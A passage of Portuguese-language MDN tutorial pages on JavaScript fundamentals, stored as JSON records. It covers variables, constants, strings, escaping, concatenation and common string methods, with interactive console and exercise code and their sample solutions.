mais.\n\nTente inserir a seguinte linha em seu console:\n\n\n```js\nvar cachorro = { nome: \"Totó\", raca: \"Dálmata\" };\n```\n\n\nPara obter a informação armazenada no objeto, você pode usar a seguinte sintaxe:\n\n\n```js\ncachorro.nome;\n```\n\n\nNós não iremos ver mais sobre objetos por agora — você pode aprender mais sobre eles em um artigo futuro.\n\nDigitação permissiva\n--------------------\n\nJavaScript é uma \"dynamically typed language\", o que significa que, diferente de outras linguagens, você não precisa especificar que tipo de dados uma variável irá conter (ex.: números, cadeias de texto, arrays, etc).\n\nPor exemplo, se você declarar uma variável e dar a ela um valor encapsulado em aspas, o navegador irá tratar a variável como sendo uma *string* (cadeia de texto):\n\n\n```js\nvar minhaString = \"Olá\";\n```\n\n\nIrá continuar sendo uma *string*, mesmo que dentro das apas contenha um número, então seja cuidadoso:\n\n\n```js\nvar meuNumero = \"500\"; // opa, isso continua sendo uma string\ntypeof meuNumero;\nmeuNumero = 500; // bem melhor — agora isso é um número\ntypeof meuNumero;\n```\n\n\nTente inserir as quatro linhas acima em seu console uma por uma, e veja quais são os resultados. Você notará que estamos usando uma função especial chamada `typeof()` — ela irá retornar o tipo de dado da variável que você passar. Da primeira vez que for executada, deve retornar `string`, como naquele ponto a variável `meuNumero` contém uma *string*, `'500'`. Dê uma olhada e veja o que é retornado da segunda vez que você a utilizar.\n\nConstants em JavaScript\n-----------------------\n\nMuitas linguagens de programação têm o conceito de *constant* — um valor que uma vez declarado não pode ser alterado. Há muitas razões pelas quais você deseja fazer isso, desde segurança (se um script de terceiros alterou esses valores, poderia causar problemas) até a depuração e a compreensão do código (é mais difícil alterar acidentalmente valores que não devem ser alterados e bagunçar as coisas).\n\nNos primeiros dias do JavaScript, não existiam *constants*. No JavaScript moderno, temos a palavra-chave `const`, que nos permite armazenar valores que nunca podem ser alterados:\n\n\n```js\nconst diasNaSemana = 7;\nconst horasNoDia = 24;\n```\n\n\n`const` funciona exatamente da mesma maneira que `let`, exceto que você não pode atribuir um novo valor a `const`. No exemplo a seguir, a segunda linha geraria um erro:\n\n\n```js\nconst diasNaSemana = 7;\ndiasNaSemana = 8;\n```\n\nTeste suas habilidades!\n-----------------------\n\nVocê chegou ao final deste artigo, mas consegue se lembrar das informações mais importantes? Você pode encontrar alguns testes adicionais para verificar se você reteve essas informações antes de prosseguir — veja Teste suas habilidades: variáveis.\n\nSumário\n-------\n\nPor agora você deve saber razoavelmente sobre variáveis JavaScript e como criá-las. No próximo artigo Vamos focar nos números em mais detalhes, vendo como fazer matemática básica no JavaScript.\n\n* Anterior\n* Menu: First steps\n* Próxima  (en-US)"}
{"title":"Trabalhando com texto — strings em JavaScript - Aprendendo desenvolvimento web","text":"Trabalhando com texto — strings em JavaScript\n=============================================\n\n* Anterior\n* Menu: First steps\n* Próxima\n\nAgora vamos dar atenção às strings - isto é como é chamado em programação qualquer parte de texto. Neste artigo nós veremos tudo que você realmente deve saber sobre strings quando está aprendendo JavaScript. Como criar, fazer citações e como juntar strings.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Computação básica, um entendimento básico de HTML e CSS, e sobre o que é\n JavaScript.\n  |\n| Objetivo: | Ganhar familiaridade com o básico de strings em JavaScript. |\n\nO poder das palavras\n--------------------\n\nPalavras são muito importante para humanos - elas são uma grande parte de como nos comunicamos. Desde que a Web é largamente baseada em texto, projetada para permitir humanos a comunicar e compartilhar infomação, isto é útil para nós termos controle sobre como apresentar isso. HTML fornece estrutura e significado para nosso texto, CSS nos permite estilizar precisamente ele, e JavaScript contem um número de funcionalidades para manipular strings, criar mensagens de boas-vindas customizadas, mostrando rótulos quando preciso, sorteando termos de acordo como desejado e muito mais.\n\nMuitos dos programas que temos visto até agora no curso está envolvido em alguma parte com manipulação de string.\n\nStrings — O básico\n------------------\n\nEm um primeiro relance, strings são tratadas de forma parecida como números, mas quando vamos mais a fundo, você começa a ver algumas diferenças importantes. Vamos começar a entrar em linhas básicas no console para nos familiarizar. Nós vamos fornecer abaixo (você pode também abrir isto no console em uma guia ou janela separada, ou usar o console do navegador se você preferir).\n```\n\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>JavaScript console</title>\n    <style>\n \\* {\n box-sizing: border-box;\n }\n\n html {\n background-color: #0c323d;\n color: #809089;\n font-family: monospace;\n }\n\n body {\n max-width: 700px;\n }\n\n p {\n margin: 0;\n width: 1%;\n padding: 0 1%;\n font-size: 16px;\n line-height: 1.5;\n float: left;\n }\n\n .input p {\n margin-right: 1%;\n }\n\n .output p {\n width: 100%;\n }\n\n .input input {\n width: 96%;\n float: left;\n border: none;\n font-size: 16px;\n line-height: 1.5;\n font-family: monospace;\n padding: 0;\n background: #0c323d;\n color: #809089;\n }\n\n div {\n clear: both;\n }\n </style>\n  </head>\n  <body></body>\n\n  <script>\n var geval = eval;\n function createInput() {\n var inputDiv = document.createElement(\"div\");\n var inputPara = document.createElement(\"p\");\n var inputForm = document.createElement(\"input\");\n\n inputDiv.setAttribute(\"class\", \"input\");\n inputPara.textContent = \">\";\n inputDiv.appendChild(inputPara);\n inputDiv.appendChild(inputForm);\n document.body.appendChild(inputDiv);\n\n if (document.querySelectorAll(\"div\").length > 1) {\n inputForm.focus();\n }\n\n inputForm.addEventListener(\"change\", executeCode);\n }\n\n function executeCode(e) {\n try {\n var result = geval(e.target.value);\n } catch (e) {\n var result = \"error — \" + e.message;\n }\n\n var outputDiv = document.createElement(\"div\");\n var outputPara = document.createElement(\"p\");\n\n outputDiv.setAttribute(\"class\", \"output\");\n outputPara.textContent = \"Result: \" + result;\n outputDiv.appendChild(outputPara);\n document.body.appendChild(outputDiv);\n\n e.target.disabled = true;\n e.target.parentNode.style.opacity = \"0.5\";\n\n createInput();\n }\n\n createInput();\n </script>\n</html>\n```\n\n### Criando uma string\n\n1. Para começar, digite as linhas seguintes:\n\n```js\nvar string = \"The revolution will not be televised.\";\nstring;\n```\n\nComo fizemos com números, nós declaramos uma variável, inicializando-a com um valor string, e então retornamos o valor. A única diferença aqui é que quando escrevemos uma string, você precisa colocá-la entre aspas.\n2. Se você não fez isso, ou esqueceu uma das aspas, você recebeu um erro. Experimente digitar as linhas seguintes:\n\n```js\nvar badString = This is a test;\nvar badString = 'This is a test;\nvar badString = This is a test';\n```\n\nEstas linhas não funcionam porque todo texto sem aspas são interpretados como um nome de variável, propriedade do nome, palavra reservada ou algo assim. Se o navegador não puder encontrar, então um erro é apresentado (ex.: \"faltando; declaração anterior\"). Se o navegador puder ver onde a string começa, mas não conseguir encontrar o fim, como indicado com as segundas aspas, é retornado um erro (com \"string não terminada\"). Se seu programa retorna tais erros, então volte e verifique todas suas strings para ter certeza que não faltam aspas.\n3. O seguinte funcionará se você definiu previamente a variável `string` - tente isto agora:\n\n```js\nvar badString = string;\nbadString;\n```\n\n`badString` é agora definido para ter o mesmo valor de `string`.\n### Aspas simples x aspas duplas\n\n1. Em JavaScript, você pode escolher aspas simples ou duplas para envolver suas strings. Ambas linhas abaixo funcionará bem:\n\n```js\nvar sgl = \"Single quotes.\";\nvar dbl = \"Double quotes\";\nsgl;\ndbl;\n```\n\n2. Há poucas diferenças entre as duas, e qual você usar é de preferência pessoal. Você deve escolher uma e permanecer nela, entretanto; diferentes aspas no código pode ser confuso, especialmente se você usa diferentes aspas na mesma string! O seguinte retornará erro:\n\n```js\nvar badQuotes = 'What on earth?\";\n```\n\n3. O navegador interpretará como a string não tivesse fechada, porque o outro tipo de aspas pode aparecer dentro da sua string. Por exemplo, ambos exemplos abaixo são okay:\n\n```js\nvar sglDbl = 'Would you eat a \"fish supper\"?';\nvar dblSgl = \"I'm feeling blue.\";\nsglDbl;\ndblSgl;\n```\n\n4. Entretanto, você não pode incluir o mesmo tipo de aspas dentro da sua string, se você usa para conter seu texto. O seguinte será um erro, como é confuso para o navegador onde a string termina:\n\n```js\nvar bigmouth = 'I've got no right to take my place...';\n```\n\nIsto nos leva muito bem ao nosso próximo assunto.\n### Caracteres de escape na string\n\nPara corrigir o problema anterior, nós precisamos escapar o problema da aspa. Caracteres de escape significa que nós fazemos algo para ter certeza que eles são reconhecidos como texto, não parte do código. Em JavaScript, nós fazemos isso colocando uma barra invertida logo antes do caracter.Tente isso:\n\n\n```js\nvar bigmouth = \"I've got no right to take my place...\";\nbigmouth;\n```\n\n\nIsto funciona bem. Você pode escapar outros caracteres do mesmo jeito, ex.: `\\\"`, e há alguns códigos especiais também. Veja Notação de escape para mais detalhes.\n\nConcatenando strings\n--------------------\n\n1. Concatenar é uma palavra chique da programação que significa \"colocar junto\". Para colocar strings juntas em JavaScript, usamos o operador (+), o mesmo usamos para adicionar números, mas neste contexto é algo diferente. Vamos tentar este exemplo no console.\n\n```js\nvar one = \"Hello, \";\nvar two = \"how are you?\";\nvar joined = one + two;\njoined;\n```\n\nO resultado disso é uma variável chamada `joined`, que contém o valor \"Hello, how are you?\".\n2. No último exemplo, nós somente juntamos duas strings, mas você pode fazer quantas quiser, contanto que inclua um `+` entre cada uma.Experimente isso:\n\n```js\nvar multiple = one + one + one + one + two;\nmultiple;\n```\n\n3. Você pore usar um mix de variáveis e strings reais. Tente isso:\n\n```js\nvar response = one + \"I am fine — \" + two;\nresponse;\n```\n\n\n**Nota:** Quando você coloca uma string atual no seu código dentro de aspas simples ou duplas, é chamada uma **string literal**.\n\n### Concatenação em contexto\n\nVamos dar uma olhada na concatenação em ação — aqui está um exemplo do curso anterior:\n\n\n```html\n<button>Pressione-me</button>\n```\n\n\n\n```js\nvar button = document.querySelector(\"button\");\n\nbutton.onclick = function () {\n  var nome = prompt(\"Qual é o seu nome?\");\n  alert(\"Olá \" + nome + \", prazer em conhecê-lo!\");\n};\n```\n\n\nAqui estamos usando uma função `Window.prompt()` na linha 4, a qual pergunta ao usuário para responder uma questão via uma caixa de diálogo, então armazena o texto em uma variável — neste caso `nome`. Nós então usamos uma função `Window.alert()` na linha 5 para mostrar outra caixa de diálogo contendo nossa string montada de duas strings literais e a variável `name`,via concatenação.\n\n### Números x strings\n\n1. Então o que acontece quando tentamos adicionar (ou concatenar) uma string e um número? Vamos tentar isso no console:\n\n```js\n\"Front \" + 242;\n```\n\nVocê pode esperar um erro disto, mas funciona correto. Tentando representar uma string como um número, realmente não faz sentido. Mas representando um número como string, faz. Então o navegador espertamente converte o número em string e concatena as duas.\n2. Você pode fazer isto até com dois números — você pode forçar um número a ser string colocando ele entre aspas. Experimente o seguinte (nós estamos usando o operador `typeof` para checar o que a variável é, se um número ou string):\n\n```js\nvar myDate = \"19\" + \"67\";\ntypeof myDate;\n```\n\n3. Se você tem uma variável numérica que precisa converter em string, mas não mudar completamente, ou uma string e quer converter em número, você pode usar a construção seguinte:\n    * O objeto `Number` converterá qualquer coisa passada em um número, se for possível. Tente o seguinte:\n     js\n    ```js\n    var myString = \"123\";\n    var myNum = Number(myString);\n    typeof myNum;\n    \n    ```\n    * Por outro lado, todo número tem um método chamado `toString()` que converterá para a string equivalente. Tente isto:\n     js\n    ```js\n    var myNum = 123;\n    var myString = myNum.toString();\n    typeof myString;\n    \n    ```Estas construções podem ser bem úteis em algumas situações. Por exemplo, se o usuário colocar um número em um campo de texto, isso será uma string. Entretanto, se você quiser adicionar este número a algo, você precisa que seja um número, então você pode passar isto através do `Number()` para poder manipular.Nós fizemos exatamente isto no nosso Number Guessing Game, in line 59.\nConclusão\n---------\n\nEntão isto é o basico sobre strings em JavaScript. No próximo artigo nós iremos continuar daqui, vendo alguns métodos de construção de strings disponíveis em JavaScript e como nós podemos usá-los para manipular nossa string da forma como quisermos.\n\n* Anterior\n* Menu: First steps\n* Próxima"}
{"title":"Métodos úteis de string - Aprendendo desenvolvimento web","text":"Métodos úteis de string\n=======================\n\n* Anterior\n* Menu: First steps\n* Próxima\n\nAgora que nós vimos o básico de strings, vamos engatar a próxima marcha e começar a pensar sobre as operações úteis que podemos fazer em strings com métodos embutidos, como encontrar o comprimento de um string, unir e dividir sequências de caracteres, substituindo um caracter em uma string por outro, e muito mais.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimento básico de computador, uma compreensão básica de HTML e CSS,\n uma compreensão do que é o JavaScript.\n  |\n| Objetivo: | \n Entender que strings são objetos e aprender a usar alguns do métodos\n básicos disponíveis nesses objetos para manipular strings.\n  |\n\nStrings como objetos\n--------------------\n\nComo dissemos antes e diremos novamente — *tudo* é um objeto em JavaScript. Quando você cria um string, usando por exemplo\n\n\n```js\nvar string = \"This is my string\";\n```\n\n\nsua variável torna-se uma instância do objeto string e, como resultado, tem um grande número de propriedades e métodos diponíveis para ela. Você pode ver isso se você for na página do objeto `String` e olhar para baixo na lista do lado da página!\n\n**Agora, antes de seu cérebro começar a derreter, não se preocupe!** Você não precisa saber sobre a maioria deles no início da sua jornada de aprendizado. Mas há alguns que você potencialmente usará com bastante frequência que veremos aqui.\n\nVamos digitar alguns exemplos em um console novo. Nós fornecemos um abaixo (você também pode abrir este console em uma guia ou janela separada, ou usar o console do desenvolvedor do navegador, se preferir).\n\nNós fornecemos um abaixo (você também pode abrir esse console em uma aba ou janela separada, ou usar o console do navegador do desenvolvedor se você preferir).\n```\n\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>JavaScript console</title>\n    <style>\n \\* {\n box-sizing: border-box;\n }\n\n html {\n background-color: #0c323d;\n color: #809089;\n font-family: monospace;\n }\n\n body {\n max-width: 700px;\n }\n\n p {\n margin: 0;\n width: 1%;\n padding: 0 1%;\n font-size: 16px;\n line-height: 1.5;\n float: left;\n }\n\n .input p {\n margin-right: 1%;\n }\n\n .output p {\n width: 100%;\n }\n\n .input input {\n width: 96%;\n float: left;\n border: none;\n font-size: 16px;\n line-height: 1.5;\n font-family: monospace;\n padding: 0;\n background: #0c323d;\n color: #809089;\n }\n\n div {\n clear: both;\n }\n </style>\n  </head>\n  <body></body>\n\n  <script>\n var geval = eval;\n function createInput() {\n var inputDiv = document.createElement(\"div\");\n var inputPara = document.createElement(\"p\");\n var inputForm = document.createElement(\"input\");\n\n inputDiv.setAttribute(\"class\", \"input\");\n inputPara.textContent = \">\";\n inputDiv.appendChild(inputPara);\n inputDiv.appendChild(inputForm);\n document.body.appendChild(inputDiv);\n\n inputForm.addEventListener(\"change\", executeCode);\n }\n\n function executeCode(e) {\n try {\n var result = geval(e.target.value);\n } catch (e) {\n var result = \"error — \" + e.message;\n }\n\n var outputDiv = document.createElement(\"div\");\n var outputPara = document.createElement(\"p\");\n\n outputDiv.setAttribute(\"class\", \"output\");\n outputPara.textContent = \"Result: \" + result;\n outputDiv.appendChild(outputPara);\n document.body.appendChild(outputDiv);\n\n e.target.disabled = true;\n e.target.parentNode.style.opacity = \"0.5\";\n\n createInput();\n }\n\n createInput();\n </script>\n</html>\n```\n\n### Descobrindo o comprimento de uma string\n\nEssa é fácil — você simplesmente usa a propriedade `length`. Tente digitar as linhas a seguir:\n\n\n```js\nvar browserType = \"mozilla\";\nbrowserType.length;\n```\n\n\nIsso deve retornar o número 7, porque \"mozilla\" tem 7 caracteres. Isso é útil por vários motivos; por exemplo, você pode querer encontrar os comprimentos de uma série de nomes para que você possa exibi-los em ordem de comprimento, ou deixar um usuário saber que um nome de usuário que ele informou em um campo de formulário é muito longo se este for maior do que um certo comprimento.\n\n### Recuperando um caractere de string específico\n\nNota complementar: você pode retornar qualquer caractere dentro de uma string usando a **notação colchete** - isso significa que você inclui colchetes (`[]`) no final do nome da variável. Dentro dos colchetes, você inclui o número do caractere que deseja retornar, por exemplo, para recuperar a primeira letra, faça o seguinte:\n\n\n```js\nbrowserType[0];\n```\n\n\nComputadores contam a partir de 0, não 1! Para recuperar o último caractere de *qualquer* string, nós podemos usar a linha a seguir, combinando essa técnica com a propriedade `length` que vimos anteriormente:\n\n\n```js\nbrowserType[browserType.length - 1];\n```\n\n\nO comprimento de \"mozilla\" é 7, mas porque a contagem começa de 0, a posição do caractere é 6, daí precisamos usar `length-1`. Você pode usar isso para, por exemplo, encontrar a primeira letra de uma série de strings e ordená-los alfabeticamente.\n\n### Encontrando uma substring dentro de uma string e extraindo-a\n\n1. Às vezes você quer saber se uma string menor está presente dentro de uma maior (geralmente dizemos *se uma substring está presente dentro de uma string*). Isso pode ser feito usando o método `indexOf ()`, que leva um único parameter (en-US) - a substring que deseja procurar. Experimente isso:\n\n```js\nbrowserType.indexOf(\"zilla\");\n```\n\nIsso nos dá o resultado 2, porque a substring \"zilla\" se inicia na posição 2 (0, 1, 2 — então, 3 caraceteres) dentro de \"mozilla\". Esse código poderia ser usado para filtrar cadeias de caracteres. Por exemplo, podemos ter uma lista de endereços da web e apenas queremos imprimir aqueles que contenham \"mozilla\".\n2. Isso pode ser feito de outro jeito, que é possivelmente mais eficaz. Experimente isso:\n\n```js\nbrowserType.indexOf(\"vanilla\");\n```\n\nIsso deve lhe dar um resultado `-1` — isso é retornado quando a substring, neste caso 'vanilla', não é encontrada na string principal.\n Você pode usar isso para encontrar todas as instâncias de strings que **não contém** a substring 'mozilla', ou **contém**, se você usar o operador de negação, conforme mostrado abaixo. Você poderia fazer algo assim:\n\n```js\nif (browserType.indexOf(\"mozilla\") !== -1) {\n  // faz coisas com a string\n}\n```\n\n3. Quando você sabe onde uma substring começa dentro de uma string e você sabe em qual caractere você deseja que ela termine, `slice ()` pode ser usado para extrair isto. Tente o seguinte:\n\n```js\nbrowserType.slice(0, 3);\n```\n\nIsso retorna \"moz\" — o primeiro parâmetro é a posição do caractere a partir da qual será iniciada a extração, e o segundo parâmetro é a posição seguinte do último caractere a ser extraído. Então, a fatia ocorre da primeira posição, até a última posição, mas não incluindo. Você também pode dizer que o segundo parâmetro é igual ao comprimento da string que está sendo retornada.\n\nTambém, se você sabe que você deseja extrair todos os caracteres restantes em uma string após um certo caracter, você não tem que incluir o segundo parametro! Você apenas precisa incluir a posição do caracter a partir de onde você deseja extrar os caracteres restantes em uma string. Tente o seguinte:\n\n\n```js\nbrowserType.slice(2);\n```\n\n\nIsso retornará \"zilla\" — isso é porque a posição de caracter 2 é a letra z, e porque você não incluiu o segundo parametro, a substring retornou todos os caracteres restantes na string.\n\n**Nota:** O segundo parametro do `slice()` é opcional: Se você não incluir ele, o slice finaliza no fim da string original. Existem outras opções também; estude a `slice()` pagina para ver o que mais você pode descobrir.\n\n### Mudando entre maiúsculas e minúsculas\n\nO método string `toLowerCase()` e `toUpperCase()` toma a string e converte todos os caracteres para minusculo - ou maiusculo, respectivamente. Este pode ser util, por exemplo, se você quer normalizar todas as entradas de dados do usuário antes de armazenar em um banco de dados.\n\nVamos testar inserindo as seguintes linhas para ver o que acontece:\n\n\n```js\nvar radData = \"My NaMe Is MuD\";\nradData.toLowerCase();\nradData.toUpperCase();\n```\n\n### Atualizando partes de uma string\n\nVocê pode substituir uma substring dentro de uma string com uma outra substring usando o método `replace()`. Este funciona muito simples em um nível básico, apesar haver algumas coisas avançadas que você pode fazer com ele, nós não iremos tão longe ainda.\n\nEle toma dois parametros — A string que você quer substituir e a string que você quer que substitua o primeiro parametro. Tente este exemplo:\n\n\n```js\nbrowserType.replace(\"moz\", \"van\");\n```\n\n\nObserve que para realmente obter o valor atualizado refletido na variavel `browserType` em um programa real, você teria que setar o valor da variavel para ser o resultado da operação; não apenas atualizar o valor da substring automaticamente. Assim você teria que realmente escrever isso: `browserType = browserType.replace('moz','van');`\n\nExemplos para aprendizado ativo\n-------------------------------\n\nNesta seção, tentaremos escrever um código de manipulação de string. Em cada exercício abaixo, temos uma matriz de strings e um loop que processa cada valor na matriz e o exibe em uma lista com marcadores. Você não precisa entender matrizes ou loops agora - isso será explicado em artigos futuros. Tudo o que você precisa fazer em cada caso é escrever o código que produzirá as strings no formato em que as queremos.\n\nCada exemplo vem com um botão \"Reset\", que você pode usar para redefinir o código original, isso se cometer um erro e não conseguir faze-lo funcionar novamente, e um botão \"Show Solution\" que você pode pressionar para ver aresposta em potencial se realmente estiver travado.\n\n### Filtrando mensagens de saudação\n\nNo primeiro exercício, começaremos com simplicidade - temos várias mensagens de cartão, mas queremos classificá-las para listar apenas as mensagens de Natal. Queremos que você preencha um teste condicional dentro da estrutura if (...), para testar cada string e apenas imprimi-la na lista se for uma mensagem de Natal.\n\n1. Primeiro pense em como você poderia testar se a mensagem em cada caso é uma mensagem de Natal. Qual string está presente em todas essas mensagens e que método você poderia usar para testar se ela está presente?\n2. Em seguida, você precisará escrever um teste condicional do formulario operando2 operador operando1. A coisa à esquerda é igual à coisa à direita? Ou neste caso, o método chama à esquerda retorna o resultado à direita?\n3. Dica: Nesse caso, é provavelmente mais útil testar se a chamada do método não é igual a um determinado resultado.\n```\n\n<div class=\"output\" style=\"min-height: 125px;\">\n  <ul></ul>\n</div>\n\n<textarea id=\"code\" class=\"playable-code\" style=\"height: 290px;\">\nvar list = document.querySelector('.output ul');\nlist.innerHTML = '';\nvar greetings = ['Happy Birthday!',\n                 'Merry Christmas my love',\n                 'A happy Christmas to all the family',\n                 'You\\'re all I want for Christmas',\n                 'Get well soon'];\n\nfor (var i = 0; i < greetings.length; i++) {\n  var input = greetings[i];\n  // Seu teste condicional precisa ir dentro dos parênteses\n  // na linha abaixo, substituindo o que está lá\n  if (greetings[i]) {\n    var result = input;\n    var listItem = document.createElement('li');\n    listItem.textContent = result;\n    list.appendChild(listItem);\n  }\n}\n</textarea>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" />\n</div>\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar code = textarea.value;\n\nfunction updateCode() {\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  textarea.value = jsSolution;\n  updateCode();\n});\n\nvar jsSolution =\n  \"var list = document.querySelector('.output ul');\\nlist.innerHTML = '';\\nvar greetings = ['Happy Birthday!',\\n 'Merry Christmas my love',\\n 'A happy Christmas to all the family',\\n 'You\\\\'re all I want for Christmas',\\n 'Get well soon'];\\n\\nfor(var i = 0; i < greetings.length; i++) {\\n var input = greetings[i];\\n if(greetings[i].indexOf('Christmas') !== -1) {\\n var result = input;\\n var listItem = document.createElement('li');\\n listItem.textContent = result;\\n list.appendChild(listItem);\\n }\\n}\";\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n```\n\n### Corrigindo a capitalização\n\nNeste exercício, temos os nomes das cidades no Reino Unido, mas a capitalização está toda desarrumada. Nós queremos que você as altere para que elas sejam todas minúsculas, exceto pela primeira letra maiúscula. Uma boa maneira de fazer isso é:\n\n1. Converta toda a cadeia contida na variável de entrada para minúscula e armazene-a em uma nova variável.\n2. Pegue a primeira letra da string nesta nova variável e armazene-a em outra variável.\n3. Usando esta última variável como substring, substitua a primeira letra da string em minúsculas pela primeira letra da string em minúsculas alterada para maiúscula. Armazene o resultado desse procedimento de substituição em outra nova variável.\n4. Altere o valor da variável `result` para igual ao resultado final, não a `input`.\n\n**Nota:** Uma dica — os parâmetros dos métodos de string não precisam ser literais de string; eles também podem ser variáveis, ou mesmo variáveis com um método sendo invocado nelas.\n```\n\n<div class=\"output\" style=\"min-height: 125px;\">\n  <ul></ul>\n</div>\n\n<textarea id=\"code\" class=\"playable-code\" style=\"height: 250px;\">\nvar list = document.querySelector('.output ul');\nlist.innerHTML = '';\nvar cities = ['lonDon', 'ManCHESTer', 'BiRmiNGHAM', 'liVERpoOL'];\nfor(var i = 0; i < cities.length; i++) {\n  var input = cities[i];\n  // write your code just below here\n\n  var result = input;\n  var listItem = document.createElement('li');\n  listItem.textContent = result;\n  list.appendChild(listItem);\n}\n</textarea>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" />\n</div>\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar code = textarea.value;\n\nfunction updateCode() {\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  textarea.value = jsSolution;\n  updateCode();\n});\n\nvar jsSolution =\n  \"var list = document.querySelector('.output ul');\\nlist.innerHTML = '';\\nvar cities = ['lonDon', 'ManCHESTer', 'BiRmiNGHAM', 'liVERpoOL'];\\n\\nfor(var i = 0; i < cities.length; i++) {\\n var input = cities[i];\\n var lower = input.toLowerCase();\\n var firstLetter = lower.slice(0,1);\\n var capitalized = lower.replace(firstLetter,firstLetter.toUpperCase());\\n var result = capitalized;\\n var listItem = document.createElement('li');\\n listItem.textContent = result;\\n list.appendChild(listItem);\\n\\n}\";\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n```\n\n### Fazendo novas strings a partir de partes antigas\n\nNeste último exercício, o array contém um monte de strings contendo informações sobre estações de trem no norte da Inglaterra. As strings são itens de dados que contêm o código da estação de três letras, seguido por alguns dados legíveis por máquina, seguidos por um ponto-e-vírgula, seguido pelo nome da estação legível por humanos. Por exemplo:\n```\n\nMAN675847583748sjt567654;Manchester Piccadilly\n```\n\n\nQueremos extrair o código e o nome da estação e juntá-los em uma string com a seguinte estrutura:\n```\n\nMAN: Manchester Piccadilly\n```\n\n\nNós recomendamos que faça assim:\n\n1. Extraia o código da estação de três letras e armazene-o em uma nova variável.\n2. Encontre o número de índice do caractere do ponto e vírgula.\n3. Extraia o nome da estação legível usando o número do índice de caracteres de ponto-e-vírgula como ponto de referência e armazene-o em uma nova variável.\n4. Concatene as duas novas variáveis e uma string literal para fazer a string final.\n5. Altere o valor da variável `result` para igual à string final, não a `input`.\n```\n\n<div class=\"output\" style=\"min-height: 125px;\">\n  <ul></ul>\n</div>\n\n<textarea id=\"code\" class=\"playable-code\" style=\"height: 285px;\">\nvar list = document.querySelector('.output ul');\nlist.innerHTML = '';\nvar stations = ['MAN675847583748sjt567654;Manchester Piccadilly',\n                'GNF576746573fhdg4737dh4;Greenfield',\n                'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street',\n                'SYB4f65hf75f736463;Stalybridge',\n                'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield'];\n\nfor (var i = 0; i < stations.length; i++) {\n  var input = stations[i];\n  // write your code just below here\n\n  var result = input;\n  var listItem = document.createElement('li');\n  listItem.textContent = result;\n  list.appendChild(listItem);\n}\n</textarea>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" />\n</div>\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar code = textarea.value;\n\nfunction updateCode() {\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  textarea.value = jsSolution;\n  updateCode();\n});\n\nvar jsSolution =\n  \"var list = document.querySelector('.output ul');\\nlist.innerHTML = '';\\nvar stations = ['MAN675847583748sjt567654;Manchester Piccadilly',\\n 'GNF576746573fhdg4737dh4;Greenfield',\\n 'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street',\\n 'SYB4f65hf75f736463;Stalybridge',\\n 'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield'];\\n\\nfor(var i = 0; i < stations.length; i++) {\\n var input = stations[i];\\n var code = input.slice(0,3);\\n var semiC = input.indexOf(';');\\n var name = input.slice(semiC + 1);\\n var result = code + ': ' + name;\\n var listItem = document.createElement('li');\\n listItem.textContent = result;\\n list.appendChild(listItem);\\n}\";\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n```\n\nConclusão\n---------\n\nVocê não pode escapar do fato de que ser capaz de lidar com palavras e frases em programação é muito importante — particularmente em JavaScript, pois os sites são todos sobre comunicação com pessoas. Este artigo forneceu os fundamentos que você precisa saber sobre a manipulação de strings por enquanto. Isso deve atendê-lo bem ao abordar tópicos mais complexos no futuro. Em seguida, vamos ver o último tipo de dados importante que precisamos focar no curto prazo — arrays.\n\n* Anterior\n* Menu: First steps\n* Próxima"}
{"title":"O que é JavaScript? - Aprendendo desenvolvimento web","text":"O que é JavaScript?\n===================\n\n* Menu: First steps\n* Próxima\n\nSejam bem-vindos ao curso de JavaScript para iniciantes do MDN! Neste primeiro artigo vamos fazer uma análise profunda da linguagem, respondendo questões como \"O que é JavaScript?\", e \"O que ele faz?\", para você se sentir confortável com a proposta da linguagem.\n\n|  |  |\n| --- | --- |\n| Pré requisitos: | Interação básica com o computador, entendimento básico de HTML e CSS. |\n| Objetivo: | \n Se familiarizar com a linguagem, com o que ela pode fazer, e como tudo\n isso pode ser utilizado em um website.\n  |\n\nDefinição de alto nível\n-----------------------\n\nJavaScript é uma linguagem de programação que permite a você implementar itens complexos em páginas web — toda vez que uma página da web faz mais do que simplesmente mostrar a você informação estática — mostrando conteúdo que se atualiza em um intervalo de tempo, mapas interativos ou gráficos 2D/3D animados, etc. — você pode apostar que o JavaScript provavelmente está envolvido. É a terceira camada do bolo das tecnologias padrões da web, duas das quais (HTML e CSS) nós falamos com muito mais detalhes em outras partes da Área de Aprendizado.\n\n![](/pt-BR/docs/Learn/JavaScript/First_steps/What_is_JavaScript/cake.png)\n\n* HTML é a linguagem de marcação que nós usamos para estruturar e dar significado para o nosso conteúdo web. Por exemplo, definindo parágrafos, 